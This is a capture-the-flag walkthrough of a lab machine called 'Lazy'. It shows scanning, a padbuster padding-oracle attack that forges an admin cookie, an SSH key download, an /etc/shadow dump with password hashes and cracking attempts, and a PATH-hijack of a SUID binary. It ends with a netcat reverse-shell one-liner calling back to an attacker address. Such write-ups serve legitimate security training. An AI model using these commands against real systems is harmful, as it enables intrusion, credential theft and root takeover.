We pick Lazy from the list:

Foothold

We do a usual nmap scan:

nmap -sS -T4 -A -Pn -p- 10.10.10.18

Output:

Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-02 19:57 EST
Nmap scan report for 10.10.10.18
Host is up (0.10s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 e1:92:1b:48:f8:9b:63:96:d4:e5:7a:40:5f:a4:c8:33 (DSA)
|   2048 af:a0:0f:26:cd:1a:b5:1f:a7:ec:40:94:ef:3c:81:5f (RSA)
|   256 11:a3:2f:25:73:67:af:70:18:56:fe:a2:e3:54:81:e8 (ECDSA)
|_  256 96:81:9c:f4:b7:bc:1a:73:05:ea:ba:41:35:a4:66:b7 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: CompanyDev
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=12/2%OT=22%CT=1%CU=40080%PV=Y%DS=2%DC=T%G=Y%TM=5DE5B4C
OS:9%P=x86_64-pc-linux-gnu)SEQ(SP=FD%GCD=1%ISR=107%TI=Z%CI=I%II=I%TS=8)OPS(
OS:O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11
OS:NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(
OS:R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 5900/tcp)
HOP RTT       ADDRESS
1   102.05 ms 10.10.14.1
2   102.23 ms 10.10.10.18

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 492.15 seconds

We can browse to the website on default port 80:

While we look around we can start a directory scan:

dirb http://10.10.10.18 -i

Back to the website we could either try to sign up to see what’s on the authenticated part of the site or try to go right in and brute force an admin or user.

I start first by signing up with lazy:password1.

Once logged in there doesn’t seem to be much going on.

For the login I did some testing with cURL and it looks like the login page gets cut off part way here:

curl -d 'username=lazy&password=password1' -X POST http://10.10.10.18/login.php

The dirb scan finishes:

Before looking around we can start an sqli scan for any possibilities:

sqlmap -u http://lazy.htb/login.php --forms --risk=3

When going to /classes sub directory, we can see some php files:

And we can see some photos in /images:

Seeing how one is called key.png I had hoped it was a hint and downloaded it:

wget http://10.10.10.18/images/key.png

Then tried to extract some info:

exiftool key.png
steghide extract -sf key.png

Nothing.

Back at the sqlmap scan we can see we’re not having any luck.

I tried some brute forcing and manual directory searching. Finally, after checking difference in the pages from logging on and logging off I notice a cookie:

I attempted to try to decrypt it with simple tools:

echo 'RM0QIr4xdA8ZSqlzlY55EmunGFxzRTuL' > code.txt
hexdump -c code.txt
base64 -d code.txt

Not sure yet if it will be vulnerable to padding but we can try. We can run with the syntax:

padbuster [url] [encrypt] [blocksize] [options]

We can use options -cookies and -auth and -encoding. I started with 0 for encoding and 8 for blocksize.

padbuster http://10.10.10.18/login.php RM0QIr4xdA8ZSqlzlY55EmunGFxzRTuL 8 -auth lazy:password1 -cookies auth=RM0QIr4xdA8ZSqlzlY55EmunGFxzRTuL -encoding 0

This prompt to examine blocks 1 and 2. The first one didn’t bring back anything:

but the second one does:

Knowing this is the pattern the auth cookie is made we can try to attempt to create a new cookie for user=admin so we can spoof our authentication.

Before we do that we can double-check this is the right user by trying to register as user if not done so already:

padbuster http://10.10.10.18/login.php RM0QIr4xdA8ZSqlzlY55EmunGFxzRTuL 8 -cookies auth=RM0QIr4xdA8ZSqlzlY55EmunGFxzRTuL -plaintext user=admin -encoding 0

When prompted, select block 2.

User

We will use this cookie BAitGdYuupMjA3gl1aFoOwAAAAAAAAAA to spoof our authentication.

There are a few plugins we could use or we could do it manually with Burp Suite.

When installed, click the cookie icon and select Manage all Cookies.

Select 10.10.10.18 Domain and paste the cookie in the Value field replacing the current one from the dummy user we made and click Save.

Back at the main page when we reload with the new cookie we can see we get authenticated.

Right away we can see there is a link to a file we can download and it turns out to be private ssh key.

The filename itself helps also give us a user name: mitsos.

Copy and paste into a file:

cat <<EOF > ~/.ssh/lazy
> <paste key>
> EOF

Change file permissions:

chmod 600 ~/.ssh/lazy

Then connect to the lazy machine:

ssh -i ~/.ssh/lazy mitsos@10.10.10.18

And we are in. We can get the user flag:

cat user.txt

Privilege Escalation

Looking at the files in the user directory we can already see there is a file called backup.

There is also 🔗 peda setup for 🔗 gdb, which is a executable debugger program built in to most Linux versions.

If we run it, we can see it outputs the /etc/shadow file. Using this content we could try to crack the users password. In the ssh session copy the contents from the backup file:

./backup

On a Terminal tab on our local machine copy it to a new file:

cat <<EOF > shadow
> root:$6$v1daFgo/$.7m9WXOoE4CKFdWvC.8A9aaQ334avEU8KHTmhjjGXMl0CTvZqRfNM5NO2/.7n2WtC58IUOMvLjHL0j4OsDPuL0:17288:0:99999:7:::
daemon:*:17016:0:99999:7:::
bin:*:17016:0:99999:7:::
sys:*:17016:0:99999:7:::
sync:*:17016:0:99999:7:::
games:*:17016:0:99999:7:::
man:*:17016:0:99999:7:::
lp:*:17016:0:99999:7:::
mail:*:17016:0:99999:7:::
news:*:17016:0:99999:7:::
uucp:*:17016:0:99999:7:::
proxy:*:17016:0:99999:7:::
www-data:*:17016:0:99999:7:::
backup:*:17016:0:99999:7:::
list:*:17016:0:99999:7:::
irc:*:17016:0:99999:7:::
gnats:*:17016:0:99999:7:::
nobody:*:17016:0:99999:7:::
libuuid:!:17016:0:99999:7:::
syslog:*:17016:0:99999:7:::
messagebus:*:17288:0:99999:7:::
landscape:*:17288:0:99999:7:::
mitsos:$6$LMSqqYD8$pqz8f/.wmOw3XwiLdqDuntwSrWy4P1hMYwc2MfZ70yA67pkjTaJgzbYaSgPlfnyCLLDDTDSoHJB99q2ky7lEB1:17288:0:99999:7:::
mysql:!:17288:0:99999:7:::
sshd:*:17288:0:99999:7:::
> EOF

Then repeat for the /etc/passwd file, on the ssh session:

cat /etc/passwd

Back on our local machine copy it to a new file:

cat <<EOF > passwd
> root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
landscape:x:103:109::/var/lib/landscape:/bin/false
mitsos:x:1000:1000:mitsos,,,:/home/mitsos:/bin/bash
mysql:x:105:113:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
> EOF

Then we will merge the file:

unshadow passwd shadow > crack.txt

And attempt to crack it:

john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt

Unfortunately in this case, no common password was found.

lazy_no_password

Back in our ssh session, we can confirm the command is being run:

strings backup
lazy_strings

And check the file permissions:

ls -lh backup
lazy_sticky_bit

Since this is a sticky bit executable, it will run the command cat /etc/shadow with root privileges. If we try to just run the command it will fail as we do not have the right user permissions:

But if we look at this code a different way we could create a file named cat then making /etc/shadow an argument, which we can dismiss.

echo '/bin/cat /root/root.txt > /home/mitsos/root.txt' > cat
echo 'chmod 777 /home/mitsos/root.txt' >> cat

Then make it executable:

chmod +x cat

If we try now we can see it won’t work and is still using the legitimate cat command. In order this exploit to work we need to either remove /bin/ from our PATH variable or make our home directory first priority.

If we update this then anytime we want to run cat again for real we will need to use /bin/cat for it to work.

We can retrieve our current PATH variable using:

echo $PATH

In this case we will want /home/mitsos to be first. We can use the export command to achieve this and then append the current PATH variable after it:

export PATH=/home/mitsos:$PATH

We can confirm it works by echoing the PATH again as well as running just cat, which should fail as we don’t have permission:

Now running backup will give us the root flag.

./backup
/bin/cat root.txt

However, if we wanted to take this further and obtain a root shell, we could create a reverse shell command instead of the copy command.

rm cat
echo 'rm /tmp/f;mkfifo /tmp/f;/bin/cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.XX.XX 444 >/tmp/f' > cat
chmod +x cat

Then on our local machine setup a listener:

nc -lvp 444

Then back on our ssh session run the file again:

./backup
lazy_root_shell

Our reverse shell works and as root. We can now grab the root flag.

/bin/cat /root/root.txt